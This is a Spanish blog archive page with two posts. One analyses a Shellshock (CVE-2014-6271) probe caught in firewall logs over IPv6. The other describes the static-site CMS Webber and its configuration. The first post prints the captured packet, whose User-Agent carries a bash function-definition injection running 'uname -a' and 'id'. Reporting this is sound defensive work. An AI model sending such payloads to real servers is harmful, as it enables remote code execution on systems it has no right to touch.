Archivo

Archivo para mayo, 2015

Atacantes en IPv6

martes, 19 de mayo de 2015 Sin comentarios

Revisando los logs del cortafuegos esta mañana aparece el siguiente paquete que ha sido marcado como un Ataque de inyección de código en bash “Bash Remote Code Execution Vulnerability”, el famoso ShellSock CVE-2014-6271 .

El paquete ethernet capturado es el siguiente:

19:37:20.000000 AA:BB:CC:DD:EE:FF > ZZ:XX:YY:SS:TT:RR, ethertype 802.1Q 
(0x8100), length 305: vlan XX, p 0, ethertype IPv6, (hlim 54, next-header: 
TCP (6), length: 247) 2001:41d0:2:c59e::1.53537 > 2001:720:418:cafd::20.80:
 P, cksum 0xca79 (correct), 1838219336:1838219551(215) ack 3534929269 win
 113 <nop,nop,timestamp 1314898790 2658160117>

	0x0000:  0000 0000 0000 0000 0000 0000 0000 0000  ................
	0x0010:  0000 0000 0000 0000 0636 2001 41d0 0002  ................
	0x0020:  c59e 0000 0000 0000 0001 2001 0720 0418  ................
	0x0030:  cafd 0000 0000 0000 0020 d121 0050 6d91  ................
	0x0040:  0048 d2b2 bd75 8018 0071 ca79 0000 0101  ...............
	0x0050:  080a 4e5f c366 9e70 4df5 4745 5420 2f6c  ..N_.f.pM.GET./l
	0x0060:  6973 742f 7075 626c 2f68 6572 7261 6d69  ist/publ/herrami
	0x0070:  656e 7461 2e70 6466 2048 5454 502f 312e  enta.pdf.HTTP/1.
	0x0080:  310d 0a41 6363 6570 742d 456e 636f 6469  1..Accept-Encodi
	0x0090:  6e67 3a20 6964 656e 7469 7479 0d0a 486f  ng:.identity..Ho
	0x00a0:  7374 3a20 7777 772e 7265 6469 7269 732e  st:.www.rediris.
	0x00b0:  6573 0d0a 436f 6e6e 6563 7469 6f6e 3a20  es..Connection:.
	0x00c0:  636c 6f73 650d 0a55 7365 722d 4167 656e  close..User-Agen
	0x00d0:  743a 2028 2920 7b20 666f 6f3b 7d3b 6563  t:.().{.foo;};ec
	0x00e0:  686f 3b20 2f62 696e 2f62 6173 6820 2d63  ho;./bin/bash.-c
	0x00f0:  2022 6578 7072 2032 3939 3636 3332 3939  ."expr.299663299
	0x0100:  3636 3520 2f20 333b 2065 6368 6f20 3333  665./.3;.echo.33
	0x0110:  333a 3b20 756e 616d 6520 2d61 3b20 6563  3:;.uname.-a;.ec
	0x0120:  686f 2033 3333 3a3b 2069 643b 220d 0a0d  ho.333:;.id;"...
	0x0130:  0a                                       .

Hasta aquí todo normal, hasta que viendo la dirección IP origen del ataque aparece como tipo de protocolo IPv6 y dirección 2001:41d0:2:c59e::1 , parece que IPv6 empieza a verse en algunos ataques además del Spam.

 

Webber: Páginas estáticas en el siglo XXI

viernes, 8 de mayo de 2015 Sin comentarios

En el articulo  de la publicación de Web Security de la ACM Paul Vixie hace una defensa del uso de páginas estáticas a la hora de proteger los servidores WWW ante las distintas amenazas existentes tanto ataques de denegación de servicio como intrusiones , modificación de páginas WWW , etc lo que nos lleva a comentar el funcionamiento de Webber.

Desde hace mucho tiempo  (aproximadamente 1996 ) en RedIRIS se emplea un sistema para la generación de los contenidos en las páginas WWW llamado webber,  (sin referencia ninguna al corredor de formula ;-), que aunque odiado por muchos sigue todavía se mantiene, webber hace las funciones de gestor de contenidos (CMS como lo suelen llamar en ingles) generando las páginas HTML de forma uniforme en base a una plantilla y de forma estática.

Webber ha pasado por varios cambios inicialmente era un simple programa en Perl que en base a una plantilla fija y un texto HTML sin cabeceras (el contenido de la página), generaba una página HTML con una apariencia definida, cabecera, pie de páginas, etc. la tipica página de “Hola Mundo” en webber era más o menos:

#title= Hola mundo
#athor= anonimo
#wbbIn= 
Hola mundo<p>
¿Como estas ?

Donde los valores con corchete “#” indicaban el nombre de una variable  (que podía tener varias lineas) que después se rellenaba en la plantilla. Había varias variables definidas, title para el titulo, wbbIn para el contenido la página,  description para la descripción, keyword para las palabras clave , etc.   Además y para facilitar se tenían ficheros de plantilla para incluir valores que iban a ser comunes dentro de un subdirectorio , como “author” y se tenía “herencia”, ya que las plantillas se procesaban por todo el arbor de directorios desde la raíz del código.

En una primera evolución se paso a separar las funciones en diversos procesadores, de forma que se pudieran tener varias plantillas (el nombre de la plantilla a utilizar era al final otra variable “webber” ), se pudieran incluir tablas de forma rápida, colocar menus,  separar el código fuente de las páginas finales, etc. Al final muchas funciones que la mayoría de las veces utilizamos pocas veces.

Siguiendo con la evolución y como al final la utilización del “vi” en sus diversas versiones era cada vez más compleja (entre otras cosas por la aparición de las distintas codificaciones, ISO-8859, UTF-8, etc) y porque las páginas WWW no solas las editaban usuarios “expertos” al final se creo una entorno de edición “web” para al menos poder editar las páginas WWW desde el servidor y después utilizar webber para generar el contenido en base a los ficheros estáticos.

Así el webber ha ido evolucionando dentro de RedIRIS tiene hasta página web en el servidor, pero su uso fuera de RedIRIS ha sido muy escaso , seguramente por la complejidad de montar unas páginas “desde cero” y el abuso de la terminología exotérica que tiene la documentación y es que como siempre lo documentar y actualizar las cosas nos da algo de pereza.

Aunque Webber ha sido código libre desde el principio, la gestión del código siempre ha sido algo complicada y por eso   a finales del 2014 decidimos migrar el repositorio de código de Webber a github de forma que el código de webber este disponible en esta herramienta.

Coincidiendo con la publicación de esta entrada en el GitHub esta la versión 3.0 preliminar del webber, que permite una mayor flexibilidad a la hora de definir la entrada y salida y elimina algunos procesadores antiguos no utilizados, al ser una versión preliminar algunas cosas no están pulidas del todo , aunque es bastante funcional.

 

Un pequeño ejemplo de funcionamiento:

Descargar el fichero de github en un directorio y descomprimirlo ,

Editar el fichero webber.wbb  y cambiar la entrada “wbbRoot”  , por ejemplo,

#wbbRoot=/home/usuario/webber-master

Grabar el fichero.

El fichero de configuración será ahora mismo mas o menos.

##where the webber standard root start
 #wbbRoot=/XXXX/XXXX/XXXX/webber-master/
 ## Where "standard" processors are located
 #wbbProcLib= $var(wbbRoot)/proc
 ## Version
 ## Template dir name
 #wbbTemplateName= wbbdir.cfg
 #wbbFileNameRegExp = ^(.+)\.wbb$
 #wbbFileLangRegExp = ^.+(es|en|ca|gl)\.wbb$
 # Default extension
 #wbbExtension = .html
 #wbbDebugFile= $var(wbbRoot)debug.txt
 ##wbbDebugFile = ./debug.txt
 #wbbDebug = 10
 #wbbRun=File::SetTarget File::ReadVars wbbPre wbbProc wbbPost File::WriteVar
 #File.WriteVar= wbbOut
 #wbbPre=
 #wbbProc= Webbo::webbo
 #wbbPost=
 #webbo.src=file:$var(wbbRoot)src/test.webbo
 #webbo.dst=wbbOut
 #wbbSourceRoot= $var(wbbRoot)src
 #wbbTargetRoot= $var(wbbRoot)html
 #wbbMakedir=1

Las variables tienen el siguiente significado:

  1. wbbRoot : Base donde se encuentra el código de webber
  2. wbbProc: Donde se encuentran los procesadores webber
  3. wbbDebugFile : Path al fichero de debug
  4. wbbDebug : Nivel de depuración
  5. wbbTemplateName Fichero de “plantilla” utilizado para definir variables que afecten a todos los ficheros que haya en un directorio (y subdirectorios de el)
    wbbFileNameRegExp = Expresión regular para idenfitifcar los ficheros de fuentes webber
    wbbFileLangRegExp = Expresion regular para idenficar los ficheros de lenguaje
    wbbExtension = Extensión que tendran los ficheros destino
  6. wbbSourceRoot= Base donde se encuentran los fuentes webber
    wbbTargetRoot= Base a partir de donde se escriben los ficheros webber
    wbbMakedir Fuerza la creacion de directorios si no existen
  7. wbbRun: Listado de procesadores a ejecutar ya tiene  definido una serie de procesadores para tener el funcionamiento de webber 1.X por defecto,  los procesadores que se ejecutan son:
    • File::SetTarget : Define en base una serie de variables cual es el fichero que se va a escribir
    • File::ReadVars: Lee un fichero en formato webber y define las variables de forma apropiada
    • wbbPre , wbbProc , wbbPost : listas de procesadores a ejecutar, con compatibilidad con webber 1.X
    • File::WriteVar : Escribe en el fichero definido en la variable wbbTargetFile el contenido de una variable webber
    • De todos las tres colas de procesadores solo wbbProc contiene un procesador y es el Webbo
      • wbbProc = Webbo , Webbo es un procesador que reemplaza nombres de variables webber por su valor en un fichero / variable (apuntado en #webbo.src ) dejando el contenido final en webbo.dst , es utilizado a la hora tener una plantilla (ver el fichero src/(test.webbo) que después es rellenada, ahí se definen dos variables wbbIn y title
      • webbo.dst= wbbOut
      • webbo.src= file:$var(wbbRoot)src/test.webbo

Una vez modificada la variable wbbRoot para que apunte se puede hacer:

 

perl ./webber --config ./webber.wbb --help para ver el fichero de ayuda

con

perl ./webber --config ./webber.wbb --list-proc se puede obtener un listado de los procesadores instalados

y finalmente con:

perl ./webber --config ./webber.wbb src/* se procesan los dos ficheros ".wbb" que hay en el directorio src/ y se generan en el directorio html/ los ficheros "destinos.

En próximas entradas seguiremos detallando el uso de webber para la creación de páginas más complejas.

 

Categories: Sin categoría, sistemas Tags: